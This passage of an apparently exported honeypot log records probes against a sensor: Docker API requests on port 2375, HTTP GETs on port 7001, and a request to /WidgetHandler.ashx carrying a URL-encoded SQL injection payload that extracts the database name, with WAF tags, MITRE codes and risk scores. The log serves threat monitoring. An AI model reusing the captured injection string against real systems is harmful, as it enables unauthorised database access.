(KHTML, like Gec", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; CrOS x86_64 14092.77.0) AppleWebKit\/537.36 (KHTML, like Gec", "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 6 signal(aux) capteur", "site_display": { "classification": null, "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "classification_reason_label_fr": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100", "confidence_pct": 8, "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 33, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 33, "risk_label": "Faible", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": null, "tags_summary_labels_fr": null, "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; CrOS x86_64 14092.77.0) AppleWebKit\/537.36 (KHTML, like Gec", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; CrOS x86_64 14092.77.0) AppleWebKit\/537.36 (KHTML, like Gec", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 6 signal(aux) capteur", "confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "http_get_probe", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:48:59 UTC	TCP	7001 · HTTP	http	Tentative d'exploit exploit attempt · via HTTP:7001 · (tentative d'exploit)	Élevée	Moyen · 48
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0001 TA0001 TA0002 Protocole GET / UA Mozilla/5.0 (X11; Linux x86_64; rv:135.0) Gecko/20100101 Firefo… Émulateur HTTP WAF 16 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 950734:sap-sapcontrol-path net_web_probe Cible HTTP GET / TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible / Service HTTP Pourquoi cette classification : Tentative d'exploit (tag rce-0) · confiance 62% Confiance classification 70% Corrélation +8 Risque capteur Moyen · 48 Confiance : Confiance 62 % — 3 tag(s) WAF Protocole émulé 1 Signaux MITRE-T1190 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Ligne de requête `GET / HTTP/1.1` User-Agent Mozilla/5.0 (X11; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0 Règles WAF rce-0 nosqli-3 sap-sapcontrol-path Payload (extrait) GET / HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0 Accep Requête brute (extrait) GET / HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 0, "http_path_depth": 0, "http_path_ext": null, "http_ua_hash": "61a68d8ae82bc8425114abf48390d06cae6524df", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 182, "payload_entropy": 5.259022011308623, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 72, "risk_classification": 72, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 33, "risk_novelty": 15, "risk_boost": 0, "risk_granularity": 5.6, "risk_breakdown": { "waf": 72, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 15 }, "risk_score": 48, "tag_count": 4, "anomaly_count": 0, "campaign_key": "d73dced9c6611387505bd9126e8c2645dbb9d588", "event_fingerprint": "4dd96f50766d2b06bfee68a725b495e68f55d96a", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "confidence": 0.7, "classification_confidence": 0.7, "precision_score": 73, "precision_signals": [ "MITRE-T1190" ], "kb_rule_ids": [ "MITRE-T1190" ], "confidence_breakdown": { "waf": 72, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 15, "risk_score": 48, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "http", "risk_confidence_factor": 62, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "1846ec21f37e27db5dcc081ead338b2b", "payload_hash": "5e8308ab91c984e0bf14939b7ecdf61d", "path_pattern_hash": "8a5edab282632443219e051e4ade2d1d" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 48 }, "payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:135.0) Gecko\/20100101 Firefox\/135.0\r\nAccep", "method": "GET", "path": "\/", "user_agent": "Mozilla\/5.0 (X11; Linux x86_64; rv:135.0) Gecko\/20100101 Firefox\/135.0", "waf_tags": [ "950326:rce-0", "950470:nosqli-3", "950734:sap-sapcontrol-path" ], "waf_rule_names": [ "rce-0", "nosqli-3", "sap-sapcontrol-path" ], "request_line": "GET \/ HTTP\/1.1", "request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:135.0) Gecko\/20100101 Firefox\/135.0\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:135.0) Gecko\/20100101 Firefox\/135.0\r\nAccep", "evidence": { "method": "GET", "path": "\/", "user_agent": "Mozilla\/5.0 (X11; Linux x86_64; rv:135.0) Gecko\/20100101 Firefox\/135.0", "waf_tags": [ "950326:rce-0", "950470:nosqli-3", "950734:sap-sapcontrol-path" ], "waf_rule_names": [ "rce-0", "nosqli-3", "sap-sapcontrol-path" ], "request_line": "GET \/ HTTP\/1.1", "request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:135.0) Gecko\/20100101 Firefox\/135.0\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:135.0) Gecko\/20100101 Firefox\/135.0\r\nAccep", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre": "TA0001", "threat_family": [ "unknown" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "25fe550616a60f7b105e208d9b625a10d65968f9", "protocol_details": { "http_method": "GET", "http_path": "\/", "request_line": "GET \/ HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (X11; Linux x86_64; rv:135.0) Gecko\/20100101 Firefox\/135.0", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:135.0) Gecko\/20100101 Firefox\/135.0\r\nAccep", "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit)", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "classification_reason_label_fr": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 48\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 70 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 70, "confidence_breakdown": { "waf": 72, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 15, "risk_score": 48, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 48, "risk_label": "Moyen", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "MITRE-T1190" ], "tags_summary_labels_fr": [ "MITRE-T1190" ], "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0001", "mitre_technique": "TA0001", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/", "request_line": "GET \/ HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (X11; Linux x86_64; rv:135.0) Gecko\/20100101 Firefox\/135.0", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit)", "evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:135.0) Gecko\/20100101 Firefox\/135.0\r\nAccep", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF", "confidence_factors_fr": "Confiance 70 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +8 \u00b7 3 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "950326:rce-0", "950470:nosqli-3", "950734:sap-sapcontrol-path", "net_web_probe" ] }
30/07/2026 21:48:56 UTC	TCP	7001 · HTTP	http	Tentative d'exploit exploit attempt · via HTTP:7001 · (tentative d'exploit) · → /WidgetHandler.ashx	Élevée	Moyen · 55
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0001 TA0001 TA0002 Protocole GET /WidgetHandler.ashx UA Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like… Émulateur HTTP WAF 50 Recommandation Investiguer Tags 950049:sqli-12 950057:sqli-14 950069:sqli-17 950325:rce-0 Cible HTTP GET /WidgetHandler.ashx TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible /WidgetHandler.ashx Service HTTP Pourquoi cette classification : Tentative d'exploit (tag rce-0) · confiance 29% Confiance classification 36% Corrélation +8 Risque capteur Moyen · 55 Confiance : Confiance 29 % — 7 tag(s) WAF Protocole émulé 1 Signaux MITRE-T1190 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Ligne de requête `GET /WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29 HTTP/1.1` User-Agent Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4183.127 Safari/537.36 Règles WAF sqli-12 sqli-14 sqli-17 rce-0 rce-14 nosqli-3 Payload (extrait) GET /WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28 Requête brute (extrait) GET /WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29 HTT Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 4, "http_path_depth": 1, "http_path_ext": "ashx", "http_ua_hash": "f69c504bcf536d3a13acbd93ecbb187977854f22", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "f3c346bbfc5dc13ac5a001d3c3dc07dd37acb757", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 476, "payload_entropy": 5.574783321966741, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 100, "risk_classification": 72, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 33, "risk_novelty": 30, "risk_boost": 0, "risk_granularity": 7.2, "risk_breakdown": { "waf": 100, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 30 }, "risk_score": 55, "tag_count": 9, "anomaly_count": 1, "campaign_key": "af347a27ba0e59320cbaa3d061c2a32f0a3a8b7d", "event_fingerprint": "c2c858fb3fa502e5ccb34413ebdf13777f5b7a4a", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 29%", "confidence": 0.36, "classification_confidence": 0.36, "precision_score": 35, "precision_signals": [ "MITRE-T1190" ], "kb_rule_ids": [ "MITRE-T1190" ], "confidence_breakdown": { "waf": 100, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 30, "risk_score": 55, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "http", "risk_confidence_factor": 29, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "d10745557f37492a4072c2c18fd476a0", "payload_hash": "d5aa2fb9a103867ad9a6fa80b032c3a1", "path_pattern_hash": "814d5d3a121798a0228c94a48369f439" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 55 }, "method": "GET", "path": "\/WidgetHandler.ashx", "query_string": "MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29", "user_agent": "Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/85.0.4183.127 Safari\/537.36", "waf_tags": [ "950049:sqli-12", "950057:sqli-14", "950069:sqli-17", "950325:rce-0", "950326:rce-0", "950381:rce-14", "950470:nosqli-3" ], "waf_rule_names": [ "sqli-12", "sqli-14", "sqli-17", "rce-0", "rce-14", "nosqli-3" ], "request_line": "GET \/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29 HTTP\/1.1", "payload_snippet": "GET \/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28", "evidence": { "method": "GET", "path": "\/WidgetHandler.ashx", "query_string": "MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29", "user_agent": "Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/85.0.4183.127 Safari\/537.36", "waf_tags": [ "950049:sqli-12", "950057:sqli-14", "950069:sqli-17", "950325:rce-0", "950326:rce-0", "950381:rce-14", "950470:nosqli-3" ], "waf_rule_names": [ "sqli-12", "sqli-14", "sqli-17", "rce-0", "rce-14", "nosqli-3" ], "request_line": "GET \/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29 HTTP\/1.1", "request_sample": "GET \/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29 HTT", "payload_snippet": "GET \/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 29%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre": "TA0001", "threat_family": [ "unknown" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "28d6071abe63a8bbf7e4489ebcfe5816dd912a27", "protocol_details": { "http_method": "GET", "http_path": "\/WidgetHandler.ashx", "request_line": "GET \/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%28\u2026", "http_user_agent": "Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/85.0.4183.127 Safari\/537.36", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28", "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/WidgetHandler.ashx", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 29 % \u2014 7 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 29%", "classification_reason_label_fr": "Tentative d'exploit (tag rce-0) \u00b7 confiance 29%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 55\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 36 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 36, "confidence_breakdown": { "waf": 100, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 30, "risk_score": 55, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 55, "risk_label": "Moyen", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "MITRE-T1190" ], "tags_summary_labels_fr": [ "MITRE-T1190" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "TA0001", "mitre_technique": "TA0001", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/WidgetHandler.ashx", "request_line": "GET \/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%28\u2026", "http_user_agent": "Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/85.0.4183.127 Safari\/537.36", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/WidgetHandler.ashx", "evidence_snippet": "GET \/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 29 % \u2014 7 tag(s) WAF", "confidence_factors_fr": "Confiance 36 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 7 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "meta_truncated": true, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "matched_patterns": [], "ban_policy": "advisory_investigate", "tags_list": [ "950049:sqli-12", "950057:sqli-14", "950069:sqli-17", "950325:rce-0", "950326:rce-0", "950381:rce-14", "950470:nosqli-3", "anomaly:high-entropy-query", "net_web_probe" ] }
30/07/2026 21:48:56 UTC	TCP	2375 · DOCKER	docker	Sonde API Docker docker api probe · via DOCKER:2375 · (sonde / probe)	Élevée	Faible · 32
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload mozi_pattern Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28 Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 32 Confiance : Confiance 0 % — 5 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET /WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28 Requête brute (extrait) GET /WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29 HTT Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, 